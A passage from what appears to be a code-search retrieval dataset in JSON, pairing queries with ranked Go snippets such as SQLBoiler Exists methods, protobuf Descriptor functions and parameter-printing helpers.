analyticsPageviewUseragentQuery) Exists(ctx context.Context, exec boil.ContextExecutor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRowContext(ctx, exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if analytics_pageview_useragents exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "63e3c98ef80654d0d7fa8bc47b1dad1f", "score": "0.6139284", "text": "func (q categoryQuery) Exists() (bool, error) {\n\tvar count int64\n\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow().Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"public: failed to check if category exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "8bf7fa0ada718889bf6b469809b3dd12", "score": "0.6139016", "text": "func (q upepFeatureQuery) ExistsP() bool {\n\te, err := q.Exists()\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n\n\treturn e\n}", "title": "" }, { "docid": "42a491c13937dd7cc9a823fec7ae0303", "score": "0.61361694", "text": "func (q transactionQuery) ExistsG() (bool, error) {\n\treturn q.Exists(boil.GetDB())\n}", "title": "" }, { "docid": "669917bab9bd6c7cf1a1fb5806c931c0", "score": "0.613461", "text": "func (q braceletBraceletcolorQuery) ExistsP() bool {\n\te, err := q.Exists()\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n\n\treturn e\n}", "title": "" }, { "docid": "687617046b2f3d8e220256d02ed1ec48", "score": "0.6134417", "text": "func (q adminGroupQuery) Exists(exec boil.Executor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow(exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if admin_group exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "937dc027624f8104ffb3f7db13cebfb3", "score": "0.613142", "text": "func (r *Relationship) queryExists() (qry string) {\n\treturn `SELECT EXISTS(SELECT 1 FROM relationships WHERE followed_id = $1 AND follower_id = $2)`\n}", "title": "" }, { "docid": "154735e4efeb26043d2bde0ae7f03633", "score": "0.6130596", "text": "func (asq *AlarmStatusQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := asq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn asq.sqlExist(ctx)\n}", "title": "" }, { "docid": "379582f65f7ff1a85c79ebd3362c020b", "score": "0.6130222", "text": "func (q taskQuery) Exists(ctx context.Context, exec boil.ContextExecutor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRowContext(ctx, exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if task exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "d47315927b0754bc2edb96fc400bc12f", "score": "0.612942", "text": "func Exist(id string) bool {\n\treturn All()[id] != nil\n}", "title": "" } ]
f785418822658ae98f86ad53e895dd69
Deprecated: Use SetBootstrapToken.ProtoReflect.Descriptor instead.
[ { "docid": "0933c0f83b47c20c80f168efae632364", "score": "0.7021874", "text": "func (*SetBootstrapToken) Descriptor() ([]byte, []int) {\n\treturn file_mdm_proto_rawDescGZIP(), []int{71}\n}", "title": "" } ]
[ { "docid": "0dd475cefa16c9b1cd83946f2700d522", "score": "0.7174635", "text": "func (*BootstrapToken) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_swarming_proto_api_v2_swarming_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "8b18181fbc623746e0994df1a38abba2", "score": "0.6186922", "text": "func (*VerifyTokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_jwt_jwt_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "b5cefa742f8032e4d02eae0272b158b7", "score": "0.60687065", "text": "func (*Token) Descriptor() ([]byte, []int) {\n\treturn file_apps_token_pb_token_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "7abae31f5bcb173db7254440dc10744c", "score": "0.6042981", "text": "func (*Runtime) Descriptor() ([]byte, []int) {\n\treturn file_envoy_config_bootstrap_v3_bootstrap_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "cc877641f0891b857e60a84a00a69690", "score": "0.6019371", "text": "func (*InitializeRequest) Descriptor() ([]byte, []int) {\n\treturn file_service_app_token_agent_cmd_grpcserver_proto_api_app_token_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "c3dfdd02946281eae2f997355048c045", "score": "0.5967187", "text": "func (*SetTrustedKeysRequest) Descriptor() ([]byte, []int) {\n\treturn file_spacex_api_device_device_proto_rawDescGZIP(), []int{21}\n}", "title": "" }, { "docid": "e03fcd36838528547145b12bdb07946a", "score": "0.5965379", "text": "func (*CardanoCustomToken) Descriptor() ([]byte, []int) {\n\treturn file_gincoinc_adamant_global_v1_adamantglobalv1_model_proto_rawDescGZIP(), []int{16}\n}", "title": "" }, { "docid": "f536272e481de0f0f27c5654ebb1b408", "score": "0.59617054", "text": "func (*LsatToken) Descriptor() ([]byte, []int) {\n\treturn file_client_proto_rawDescGZIP(), []int{18}\n}", "title": "" }, { "docid": "b2d3ed7b57726a3687b0a355b92c12ff", "score": "0.5957737", "text": "func (*RuntimeLayer) Descriptor() ([]byte, []int) {\n\treturn file_envoy_config_bootstrap_v3_bootstrap_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "cc0e527d04b699183c0fcfa17a851b00", "score": "0.59573627", "text": "func (*Bootstrap) Descriptor() ([]byte, []int) {\n\treturn file_envoy_config_bootstrap_v3_bootstrap_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "f94eb98b704154b6bf20c566b9fcc336", "score": "0.590239", "text": "func (*LayeredRuntime) Descriptor() ([]byte, []int) {\n\treturn file_envoy_config_bootstrap_v3_bootstrap_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "6d4846c4f94ad09f6fb98a88b2d53809", "score": "0.5901042", "text": "func (*Token) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "f7abc514c6d769d85b9af44adf0ed542", "score": "0.5898", "text": "func (*CreateTokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "4d3d241b837f6e572e1d201b763e4196", "score": "0.5880397", "text": "func (*RefreshTokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_jwt_jwt_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "25a4c490c454eaa33fa9ec6ee43375e1", "score": "0.5878351", "text": "func (*TokenMeta) Descriptor() ([]byte, []int) {\n\treturn file_injective_insurance_rpc_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "f0a830f268b43433362d6bfe97c99d9d", "score": "0.5878149", "text": "func (*UnlockAppTokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_service_app_token_agent_cmd_grpcserver_proto_api_app_token_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "e6fb5a300916b069ca4c20508260bd45", "score": "0.58695704", "text": "func (*CancelVersionDestructionMetadata) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_lockbox_v1_secret_service_proto_rawDescGZIP(), []int{21}\n}", "title": "" }, { "docid": "87ae2d57e6315c210ef346ae5a7fe216", "score": "0.5866036", "text": "func (*ValidateRequest) Descriptor() ([]byte, []int) {\n\treturn file_service_app_token_agent_cmd_grpcserver_proto_api_app_token_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "c46fbeaf4342cb9d4796c32234d9a619", "score": "0.5865134", "text": "func (*TokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_internal_tracker_tracker_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "c1bae1ad2e860ca16fdf1f91cb7b3447", "score": "0.5862625", "text": "func (*VerifyTokenResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_jwt_jwt_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "bd6b76f1a4354184b908f664f9ef1818", "score": "0.5857257", "text": "func (*PollState_LUCIMachineTokenAuth) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_swarming_proto_internals_rbe_proto_rawDescGZIP(), []int{1, 4}\n}", "title": "" }, { "docid": "a3b4ad1b103247bd69c466bab353cdc1", "score": "0.58453417", "text": "func (x *fastReflection_MsgCreateValidator) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgCreateValidator\n}", "title": "" }, { "docid": "954e1e8a1f1c8d395fff87921463defc", "score": "0.5830556", "text": "func (*BeginRemoteBootstrapSessionRequestPB) Descriptor() ([]byte, []int) {\n\treturn file_yb_tserver_remote_bootstrap_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "cf1c5e74bdd026fafed4a473b310807e", "score": "0.58298206", "text": "func (*GetTeamRequest) Descriptor() ([]byte, []int) {\n\treturn file_xsuportal_services_admin_teams_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "8a536340db04ed05c0716447cd5be1dc", "score": "0.58103263", "text": "func (*CreateTokenData) Descriptor() ([]byte, []int) {\n\treturn file_data_proto_rawDescGZIP(), []int{28}\n}", "title": "" }, { "docid": "18fc2e327a43b43b63fb1a415488aedd", "score": "0.58081967", "text": "func (*CheckRemoteBootstrapSessionActiveRequestPB) Descriptor() ([]byte, []int) {\n\treturn file_yb_tserver_remote_bootstrap_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "23d2409047072cbf6935342553332288", "score": "0.5799772", "text": "func (*ExperimentalUserAndPartyLocalMetadataExtensions) Descriptor() ([]byte, []int) {\n\treturn file_com_daml_ledger_api_v1_experimental_features_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "38007c92c77f3ca787ffd2108836c64e", "score": "0.5795109", "text": "func (*ClusterManager) Descriptor() ([]byte, []int) {\n\treturn file_envoy_config_bootstrap_v3_bootstrap_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "6f25dade2d8c1a247de3431b8289c9cc", "score": "0.5792018", "text": "func (*Validator) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_common_proto_config_service_config_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "6f25dade2d8c1a247de3431b8289c9cc", "score": "0.5792018", "text": "func (*Validator) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_common_proto_config_service_config_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "7cf4a5e90daeb2c74f4dcd3dca61336e", "score": "0.57909644", "text": "func (*InValidateRequest) Descriptor() ([]byte, []int) {\n\treturn file_service_app_token_agent_cmd_grpcserver_proto_api_app_token_proto_rawDescGZIP(), []int{14}\n}", "title": "" }, { "docid": "de67cbf49e8df44cdd3c2e79205d1f84", "score": "0.57899743", "text": "func (*RemoveSessionRequestPB) Descriptor() ([]byte, []int) {\n\treturn file_yb_tserver_remote_bootstrap_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "8727ae98e41e9e1b35ee712f33988651", "score": "0.57888705", "text": "func (*GetJWTTokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_users_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "8e75fcf56c8d6b74444d272622e0fd09", "score": "0.5786406", "text": "func (*ValidateTokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_permission_service_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "c05013c8d425c2987c1f88b785d86832", "score": "0.57815886", "text": "func (*Token) Descriptor() ([]byte, []int) {\n\treturn file_protocol_cars_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "62a32c00abf61df08419767a589ac860", "score": "0.5779833", "text": "func (*TokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_thor_service_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "a19609b7d69b3bf7937086c14cc48075", "score": "0.5779617", "text": "func (*Token) Descriptor() ([]byte, []int) {\n\treturn file_model_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "95d66bd719782e43046b93dfb77e9bf9", "score": "0.5776532", "text": "func (*CIMAuthTokenReq) Descriptor() ([]byte, []int) {\n\treturn file_CIM_Login_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "3703e8c029722a09ea779ee60c4ef278", "score": "0.5775948", "text": "func (x *fastReflection_SayHelloRequest) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_SayHelloRequest\n}", "title": "" }, { "docid": "41081dfe386fc5ea46595c289931f495", "score": "0.5773611", "text": "func (*Listener_DeprecatedV1) Descriptor() ([]byte, []int) {\n\treturn file_envoy_config_listener_v4alpha_listener_proto_rawDescGZIP(), []int{1, 0}\n}", "title": "" }, { "docid": "f497e0182c7d8db6e651d2f7f864d6f4", "score": "0.5769717", "text": "func (*AddVersionMetadata) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_lockbox_v1_secret_service_proto_rawDescGZIP(), []int{15}\n}", "title": "" }, { "docid": "034e6db756cb5385fb0ad17b7f4682b0", "score": "0.57644826", "text": "func (x *fastReflection_ProtocolVersion) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_ProtocolVersion\n}", "title": "" }, { "docid": "034e6db756cb5385fb0ad17b7f4682b0", "score": "0.57644826", "text": "func (x *fastReflection_ProtocolVersion) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_ProtocolVersion\n}", "title": "" }, { "docid": "b3597f794c17d9f4af63d143361ebc3b", "score": "0.57548374", "text": "func (*CreateTokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_userauthn_userauthnpb_userauthnservice_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "4ff7b2f615a90be330300008775e524b", "score": "0.5752256", "text": "func (*Admin) Descriptor() ([]byte, []int) {\n\treturn file_envoy_config_bootstrap_v3_bootstrap_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "d9ed428bcfe3e0f30272354ad56b5ae8", "score": "0.57518363", "text": "func (*AppTokenValidateRequest) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_datasphere_v1_app_token_service_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "073bf9cd490fd14e413fab86d9d78927", "score": "0.5747519", "text": "func (*SecureToken) Descriptor() ([]byte, []int) {\n\treturn file_types_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "468d340750a0018bc6665c8ed1c5caf1", "score": "0.57407534", "text": "func (*DeprecatedConfigId) Descriptor() ([]byte, []int) {\n\treturn file_dutfeatures_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "e2f83718f021bf3ae1ec61d87b4aabd8", "score": "0.5732111", "text": "func (*TokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_server_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "f14084d85a15ceb466f855025c401b1e", "score": "0.5730714", "text": "func (*DeactivateSecretMetadata) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_lockbox_v1_secret_service_proto_rawDescGZIP(), []int{13}\n}", "title": "" }, { "docid": "3c1c70aa9decf64c1893d3be830eb151", "score": "0.5726152", "text": "func (*ResetPasswordTokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_user_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "a8b37d3756a2fadc4aa53a6c7a495e2a", "score": "0.5721771", "text": "func (*EndRemoteBootstrapSessionRequestPB) Descriptor() ([]byte, []int) {\n\treturn file_yb_tserver_remote_bootstrap_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "978375590872c011a0fb9a03e6ac3bda", "score": "0.57202786", "text": "func (x *fastReflection_ValidatorSigner) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_ValidatorSigner\n}", "title": "" }, { "docid": "007c725bb7c468c62143cd3d627e048b", "score": "0.5718235", "text": "func (*ValidationRequestMessage) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_common_proto_config_service_config_proto_rawDescGZIP(), []int{13}\n}", "title": "" }, { "docid": "007c725bb7c468c62143cd3d627e048b", "score": "0.5718235", "text": "func (*ValidationRequestMessage) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_common_proto_config_service_config_proto_rawDescGZIP(), []int{13}\n}", "title": "" }, { "docid": "bab02ef5cf8a2f13e41f1dca530fb032", "score": "0.5714621", "text": "func (*Team) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_common_proto_config_service_config_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "a315c1f7299c1bbb541e3480f2900519", "score": "0.57116354", "text": "func (*SetTrustedKeysResponse) Descriptor() ([]byte, []int) {\n\treturn file_spacex_api_device_device_proto_rawDescGZIP(), []int{22}\n}", "title": "" }, { "docid": "741bc624efb59515ba14f4c125892d99", "score": "0.5710184", "text": "func (*CreateTokensRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_jwt_jwt_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "6017a485f7eae7cfe35bcbab697b545e", "score": "0.56927586", "text": "func (*ActivateSecretMetadata) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_lockbox_v1_secret_service_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "fd9fe89937d57a20e3b1874c25d43e74", "score": "0.5687088", "text": "func (*InitializeResponse) Descriptor() ([]byte, []int) {\n\treturn file_service_app_token_agent_cmd_grpcserver_proto_api_app_token_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "b31421846c4a5c4c974a0910162c8df9", "score": "0.56863946", "text": "func (*MakePassTokenReq) Descriptor() ([]byte, []int) {\n\treturn file_proto_room_room_proto_rawDescGZIP(), []int{15}\n}", "title": "" }, { "docid": "dbb1f49356d4b5e377b7727f754b90bf", "score": "0.56814367", "text": "func (*FailoverMarkerToken) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_shared_v1_replication_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "c31415bb06de35832f1875e074332a43", "score": "0.5680911", "text": "func (*AuthTokenRevokeRequest) Descriptor() ([]byte, []int) {\n\treturn file_kstash_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "d2f4dedc177c74cdbac0a143cc417b3f", "score": "0.56755257", "text": "func (*Token) Descriptor() ([]byte, []int) {\n\treturn file_logic_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "a813b3bce0698aad20097658a6eb2400", "score": "0.5673374", "text": "func (*SystemRevokeGatekeeperTokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_kstash_proto_rawDescGZIP(), []int{36}\n}", "title": "" }, { "docid": "f0e0390015a6fbd6bf015448a5de0fc6", "score": "0.5671105", "text": "func (*LoginToken) Descriptor() ([]byte, []int) {\n\treturn file_proto_micro_mall_users_proto_users_users_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "c60ec80c29feed73caf84842e0ce661e", "score": "0.5663282", "text": "func (*ListTeamsRequest) Descriptor() ([]byte, []int) {\n\treturn file_xsuportal_services_admin_teams_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "e641241803fca5cbaf77f61b02ad884c", "score": "0.56610394", "text": "func (*Token) Descriptor() ([]byte, []int) {\n\treturn file_quadlek_plugins_github_v1_github_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "8aa57d4887fbc1b6cdb16abcbc5ea6dc", "score": "0.5654436", "text": "func (*AddVersionRequest) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_lockbox_v1_secret_service_proto_rawDescGZIP(), []int{14}\n}", "title": "" }, { "docid": "5023950c81474a26865c1b1d589ac246", "score": "0.5650584", "text": "func (x *fastReflection_AllowedClassCreator) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_AllowedClassCreator\n}", "title": "" }, { "docid": "73aec6fe16a6ae5c518a539916f3fceb", "score": "0.5650242", "text": "func (*ScheduleVersionDestructionMetadata) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_lockbox_v1_secret_service_proto_rawDescGZIP(), []int{19}\n}", "title": "" }, { "docid": "e674d48c37e8dc55b72bbba779b9f956", "score": "0.5649768", "text": "func (*RecreateTokenData) Descriptor() ([]byte, []int) {\n\treturn file_data_proto_rawDescGZIP(), []int{29}\n}", "title": "" }, { "docid": "7b1b0855a15341ad8e9ccaf597fa80a6", "score": "0.5647369", "text": "func (*SystemGenerateGatekeeperTokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_kstash_proto_rawDescGZIP(), []int{22}\n}", "title": "" }, { "docid": "b23da3023513f4f4aa73e8265f024efe", "score": "0.5647347", "text": "func (*DeprecatedMessage) Descriptor() ([]byte, []int) {\n\treturn file_cmd_protoc_gen_go_peptide_testdata_comments_deprecated_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "52c9be65a0343e6cb7e6c7560e546448", "score": "0.56415194", "text": "func (*ReceiptSetTokenSymbol) Descriptor() ([]byte, []int) {\n\treturn file_zksync_proto_rawDescGZIP(), []int{55}\n}", "title": "" }, { "docid": "5effadb77e34a525e7d110b30c789dfd", "score": "0.5639631", "text": "func (x *fastReflection_ClassCreatorAllowlist) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_ClassCreatorAllowlist\n}", "title": "" }, { "docid": "5841e67f0de29d07d4edd27a3b134be8", "score": "0.5639018", "text": "func (*ControllerPlatformRequest) Descriptor() ([]byte, []int) {\n\treturn file_github_com_containerd_containerd_api_services_sandbox_v1_sandbox_proto_rawDescGZIP(), []int{14}\n}", "title": "" }, { "docid": "74e1c2bb62dd624a97d3ca0cb6b27bf7", "score": "0.56358886", "text": "func (*LoginByTokenReq) Descriptor() ([]byte, []int) {\n\treturn file_msg_user_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "a1fc96309f06cdc4abbb0740b12a8bed", "score": "0.56334853", "text": "func (*RollbackAppendPermissionRequest) Descriptor() ([]byte, []int) {\n\treturn file_service_app_token_agent_cmd_grpcserver_proto_api_app_token_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "4435646c2f6f5721e50890884be0ffaf", "score": "0.56319654", "text": "func (*Bootstrap) Descriptor() ([]byte, []int) {\n\treturn file_conf_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "bf745acd5d418b766ec518986d78f0ae", "score": "0.56312007", "text": "func (*AddControlRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_retail_v2_serving_config_service_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "a350ad1ac139d9f4d1f45de47896a2ec", "score": "0.5630323", "text": "func (x *fastReflection_MsgCreateValidatorResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgCreateValidatorResponse\n}", "title": "" }, { "docid": "c1fab3736b44454b574e58942e905633", "score": "0.562516", "text": "func (*Set) Descriptor() ([]byte, []int) {\n\treturn file_apps_token_pb_token_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "74040ee4c455444492ffe5e2387b2b70", "score": "0.56216985", "text": "func (*CreateSecretMetadata) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_lockbox_v1_secret_service_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "131d771a86c7f787db84a0abede9c20c", "score": "0.5621476", "text": "func (*BotRequest) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_swarming_proto_api_v2_swarming_proto_rawDescGZIP(), []int{44}\n}", "title": "" }, { "docid": "4f300c78ee31037df81267988bc21586", "score": "0.56210595", "text": "func (*LocalDisconnectRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_cluster_v1_cluster_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "c94245126cce715fa6338537f571bf8e", "score": "0.5620135", "text": "func (*UpdateSecretMetadata) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_lockbox_v1_secret_service_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "9ab6b163d3e28ae180d292ac4c7b3743", "score": "0.5617747", "text": "func (*UpdateTeamRequest) Descriptor() ([]byte, []int) {\n\treturn file_xsuportal_services_admin_teams_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "1c448becd165d233cfd4f37caa86f78a", "score": "0.5616854", "text": "func (*CheckRemoteBootstrapSessionActiveResponsePB) Descriptor() ([]byte, []int) {\n\treturn file_yb_tserver_remote_bootstrap_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "7e684c67cf02193a1ef7dbf039389262", "score": "0.56134516", "text": "func (*SetClientCollaboratorRequest) Descriptor() ([]byte, []int) {\n\treturn file_lorawan_stack_api_client_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "64f9703e5514ef774a03dc3f0fe0d96a", "score": "0.5613391", "text": "func (*ValueSetDeprecated) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_r5_core_extensions_proto_rawDescGZIP(), []int{385}\n}", "title": "" }, { "docid": "f40a2dc769f13b2968404708efb73066", "score": "0.56006503", "text": "func (*InValidateResponse) Descriptor() ([]byte, []int) {\n\treturn file_service_app_token_agent_cmd_grpcserver_proto_api_app_token_proto_rawDescGZIP(), []int{15}\n}", "title": "" }, { "docid": "fdbc293fa324cfcb746d46ccf3ffc192", "score": "0.5600631", "text": "func (*RequiredMessageTypeRequest) Descriptor() ([]byte, []int) {\n\treturn file_examples_internal_proto_examplepb_a_bit_of_everything_proto_rawDescGZIP(), []int{13}\n}", "title": "" }, { "docid": "058fd1745ebfa7d31e1bd5bb1bc73a52", "score": "0.5600594", "text": "func (*RefreshTokenRequest) Descriptor() ([]byte, []int) {\n\treturn file_payeet_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "b6d30026213da321ee4149294aadee8b", "score": "0.5600383", "text": "func (*BeginRemoteBootstrapSessionResponsePB) Descriptor() ([]byte, []int) {\n\treturn file_yb_tserver_remote_bootstrap_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "410bee446d18016c8df150d9c042e751", "score": "0.55963033", "text": "func (x *fastReflection_BadSigner) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_BadSigner\n}", "title": "" }, { "docid": "dfdcaf5d0dfd6054f0bc384b6f5da4d8", "score": "0.5595628", "text": "func (*ImportCryptoKeyVersionRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_kms_v1_service_proto_rawDescGZIP(), []int{16}\n}", "title": "" }, { "docid": "2efa8da4b1fa6f87d08f44f832f72170", "score": "0.5589348", "text": "func (*CancelVersionDestructionRequest) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_lockbox_v1_secret_service_proto_rawDescGZIP(), []int{20}\n}", "title": "" }, { "docid": "2d6846a621e4ab91e57e58cf5062fb70", "score": "0.55867624", "text": "func (x *fastReflection_MsgCancelUnbondingDelegation) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgCancelUnbondingDelegation\n}", "title": "" }, { "docid": "fa22c5b4c9bd564046285d9a0f4ef234", "score": "0.5586468", "text": "func (*RestoreCryptoKeyVersionRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_kms_v1_service_proto_rawDescGZIP(), []int{22}\n}", "title": "" } ]
c9a970489f5647c6cf4704f19d24dd12
printParams prints parameters and overrides
[ { "docid": "4def0753d2ca7b5e13b18b2c690c3aa4", "score": "0.709607", "text": "func printParams(app *argoappv1.Application) {\n\tif app.Spec.GetSource().Helm != nil {\n\t\tprintHelmParams(app.Spec.GetSource().Helm)\n\t}\n}", "title": "" } ]
[ { "docid": "c81ddd5899c5186724d7d10b965ebb09", "score": "0.75923514", "text": "func (s *IterativeSearch) PrintParameters() {\n\ts.common.PrintParameters()\n\tlog.Printf(\"%v: '%v'\\n\", ParmSearchVariation, s.searchVariation)\n}", "title": "" }, { "docid": "55c528585f0094e60afd485a10103f37", "score": "0.72878504", "text": "func (api *API) PrintParameters() string {\n\tparametersText := \"\"\n\tif api.Parameters != nil {\n\t\tvar buffer bytes.Buffer\n\t\tbuffer.WriteString(\"\\n\\nParameters:\\n\")\n\t\tfor _, p := range api.Parameters {\n\t\t\tbuffer.WriteString(fmt.Sprintf(\"- %s\\n\", p.ToText()))\n\t\t}\n\t\tparametersText += buffer.String()\n\n\t}\n\treturn parametersText\n}", "title": "" }, { "docid": "ec19826733c57570d45edc2d1818b658", "score": "0.6973755", "text": "func (c Combination) printableParameters () string {\n\tstr := \"\"\n\tswitch c.kernel {\n\t\tcase RBF:\n\t\t\tstr += fmt.Sprintf(\"kernel: %v, c: %v, gamma: %v, k-fold: %v, accuracy = \",c.getKernelName(),c.c,c.gamma,c.kFold)\n\t\tcase LINEAR:\n\t\t\tstr += fmt.Sprintf(\"kernel: %v, c: %v, k-fold: %v, accuracy = \", c.getKernelName(), c.c, c.kFold)\n\t\tcase SIGMOID:\n\t\t\tstr += fmt.Sprintf(\"kernel: %v, c: %v, gamma: %v, coefficient: %v, k-fold: %v, accuracy = \", 